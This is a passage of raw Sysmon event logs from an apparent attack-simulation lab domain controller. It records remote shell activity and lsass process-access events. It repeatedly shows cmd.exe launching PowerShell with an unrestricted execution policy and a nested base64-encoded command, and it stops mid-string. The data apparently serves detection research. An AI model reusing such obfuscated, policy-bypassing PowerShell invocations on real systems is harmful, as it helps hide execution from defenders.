UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-291B-5F80-C400-000000007F01}4376C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003895Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003894Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291B-5F80-C400-000000007F01}4376C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003893Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003892Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003891Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003890Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003889Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003888Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003887Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003886Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003885Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003884Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-291B-5F80-C400-000000007F01}4376C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003883Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.907{A5F018FF-291B-5F80-C200-000000007F01}48924432C:\Windows\system32\WinrsHost.exe{A5F018FF-291B-5F80-C400-000000007F01}4376C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000003882Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.921{A5F018FF-291B-5F80-C400-000000007F01}4376C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEM